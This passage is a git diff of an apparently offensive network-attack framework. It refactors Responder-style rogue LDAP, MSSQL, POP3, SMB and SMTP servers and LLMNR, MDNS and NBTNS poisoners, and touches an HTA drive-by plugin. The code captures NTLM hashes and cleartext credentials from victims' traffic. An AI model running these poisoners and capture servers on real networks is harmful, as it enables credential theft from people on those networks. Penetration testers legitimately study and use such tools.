+ + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) def ParseSearch(data): Search1 = re.search('(objectClass)', data) @@ -66,7 +96,7 @@ def ParseLDAPHash(data, client): }) if LMhashLen < 2 and settings.Config.Verbose: - print text("[LDAP] Ignoring anonymous NTLM authentication") + settings.Config.ResponderLogger.info("[LDAP] Ignoring anonymous NTLM authentication") def ParseNTLM(data,client): Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data) @@ -119,10 +149,10 @@ def ParseLDAPPacket(data, client): else: if settings.Config.Verbose: - print text('[LDAP] Operation not supported') + settings.Config.ResponderLogger.info('[LDAP] Operation not supported') # LDAP Server class -class LDAP(BaseRequestHandler): +class LDAPServer(BaseRequestHandler): def handle(self): try: while True: diff --git a/core/servers/MSSQL.py b/core/servers/MSSQL.py index ab708c8..61bfb4b 100644 --- a/core/servers/MSSQL.py +++ b/core/servers/MSSQL.py @@ -16,11 +16,40 @@ # along with this program. If not, see . import os import struct -import settings +import core.responder.settings as settings +import threading -from SocketServer import BaseRequestHandler -from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer +from core.responder.utils import * + +class MSSQL: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 1433), MSSQLServer) + else: + server = ThreadingTCPServer(('', 1433), MSSQLServer) + + t = threading.Thread(name='MSSQL', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MSSQL server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) class TDS_Login_Packet(): def __init__(self, data): @@ -119,11 +148,11 @@ def ParseClearTextSQLPass(data, client): }) # MSSQL Server class -class MSSQL(BaseRequestHandler): +class MSSQLServer(BaseRequestHandler): def handle(self): if settings.Config.Verbose: - print text("[MSSQL] Received connection from %s" % self.client_address[0]) + settings.Config.ResponderLogger.info("[MSSQL] Received connection from %s" % self.client_address[0]) try: while True: diff --git a/core/servers/POP3.py b/core/servers/POP3.py index 5bdfa7e..5a142f7 100644 --- a/core/servers/POP3.py +++ b/core/servers/POP3.py @@ -15,14 +15,44 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from utils import * -from SocketServer import BaseRequestHandler -from packets import POPOKPacket +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import POPOKPacket + +class POP3: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server) + else: + server = ThreadingTCPServer(('', 110), POP3Server) + + t = threading.Thread(name='POP3', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting POP3 server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # POP3 Server class -class POP3(BaseRequestHandler): +class POP3Server(BaseRequestHandler): def SendPacketAndRead(self): Packet = POPOKPacket() diff --git a/core/servers/SMB.py b/core/servers/SMB.py index 2b5394c..f9c3da5 100644 --- a/core/servers/SMB.py +++ b/core/servers/SMB.py @@ -74,31 +74,36 @@ def Is_LMNT_Anonymous(data): #Function used to know which dialect number to return for NT LM 0.12 def Parse_Nego_Dialect(data): - Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) - #print hex(Dialect) + packet = data + try: + Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) + #print hex(Dialect) - if Dialect[0] == "NT LM 0.12": - return "\x00\x00" - if Dialect[1] == "NT LM 0.12": - return "\x01\x00" - if Dialect[2] == "NT LM 0.12": - return "\x02\x00" - if Dialect[3] == "NT LM 0.12": - return "\x03\x00" - if Dialect[4] == "NT LM 0.12": - return "\x04\x00" - if Dialect[5] == "NT LM 0.12": - return "\x05\x00" - if Dialect[6] == "NT LM 0.12": - return "\x06\x00" - if Dialect[7] == "NT LM 0.12": - return "\x07\x00" - if Dialect[8] == "NT LM 0.12": - return "\x08\x00" - if Dialect[9] == "NT LM 0.12": - return "\x09\x00" - if Dialect[10] == "NT LM 0.12": - return "\x0a\x00" + if Dialect[0] == "NT LM 0.12": + return "\x00\x00" + if Dialect[1] == "NT LM 0.12": + return "\x01\x00" + if Dialect[2] == "NT LM 0.12": + return "\x02\x00" + if Dialect[3] == "NT LM 0.12": + return "\x03\x00" + if Dialect[4] == "NT LM 0.12": + return "\x04\x00" + if Dialect[5] == "NT LM 0.12": + return "\x05\x00" + if Dialect[6] == "NT LM 0.12": + return "\x06\x00" + if Dialect[7] == "NT LM 0.12": + return "\x07\x00" + if Dialect[8] == "NT LM 0.12": + return "\x08\x00" + if Dialect[9] == "NT LM 0.12": + return "\x09\x00" + if Dialect[10] == "NT LM 0.12": + return "\x0a\x00" + except Exception: + print 'Exception on Parse_Nego_Dialect! Packet hexdump:' + print hexdump(packet) #Set MID SMB Header field. def midcalc(data): @@ -124,7 +129,7 @@ def ParseShare(data): packet = data[:] a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: - print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) + settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client): @@ -237,7 +242,7 @@ def IsNT4ClearTxt(data, client): Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) # SMB Server class, NTLMSSP diff --git a/core/servers/SMTP.py b/core/servers/SMTP.py index aeb3111..e6bfa3f 100644 --- a/core/servers/SMTP.py +++ b/core/servers/SMTP.py @@ -15,12 +15,44 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading -from utils import * +from core.responder.utils import * from base64 import b64decode, b64encode -from SocketServer import BaseRequestHandler -from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +class SMTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP) + server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP) + else: + server1 = ThreadingTCPServer(('', 25), SMB1) + server2 = ThreadingTCPServer(('', 587), SMB1) + + for server in [server1, server2]: + t = threading.Thread(name='SMTP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMTP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # ESMTP Server class class ESMTP(BaseRequestHandler): diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 3fef9f9..bec4f5f 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -17,7 +17,6 @@ # import re -import flask from plugins.plugin import Plugin from plugins.inject import Inject @@ -34,7 +33,7 @@ class HTADriveBy(Inject, Plugin): Inject.initialize(self, options) self.html_payload = self.get_payload() - from core.servers.http.HTTPserver import HTTPserver + from core.servers.HTTP import HTTP def hta_request(path): if path == options.hta_app.split('/')[-1]: with open(options.hta_app) as hta_file: diff --git a/plugins/responder.py b/plugins/responder.py index 73a01db..98f50f2 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -17,7 +17,6 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # -import flask from plugins.plugin import Plugin from twisted.internet import reactor @@ -36,12 +35,40 @@ class Responder(Plugin): self.ip = options.ip # Load (M)DNS, NBNS and LLMNR Poisoners - from core.poisoners.LLMNR import LLMNR - from core.poisoners.MDNS import MDNS - from core.poisoners.NBTNS import NBTNS - LLMNR().start() - MDNS().start() - NBTNS().start() + import core.poisoners.LLMNR as LLMNR + import core.poisoners.MDNS as MDNS + import core.poisoners.NBTNS as NBTNS + LLMNR.start() + MDNS.start() + NBTNS.start() + + if self.config["Responder"]["SQL"].lower() == "on": + from core.servers.MSSQL import MSSQL + MSSQL().start() + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.servers.Kerberos import Kerberos + Kerberos().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.servers.FTP import FTP + FTP().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.servers.POP3 import POP3 + POP3().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.servers.SMTP import SMTP + SMTP().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.servers.IMAP import IMAP + IMAP().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.servers.LDAP import LDAP + LDAP().start() def reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory)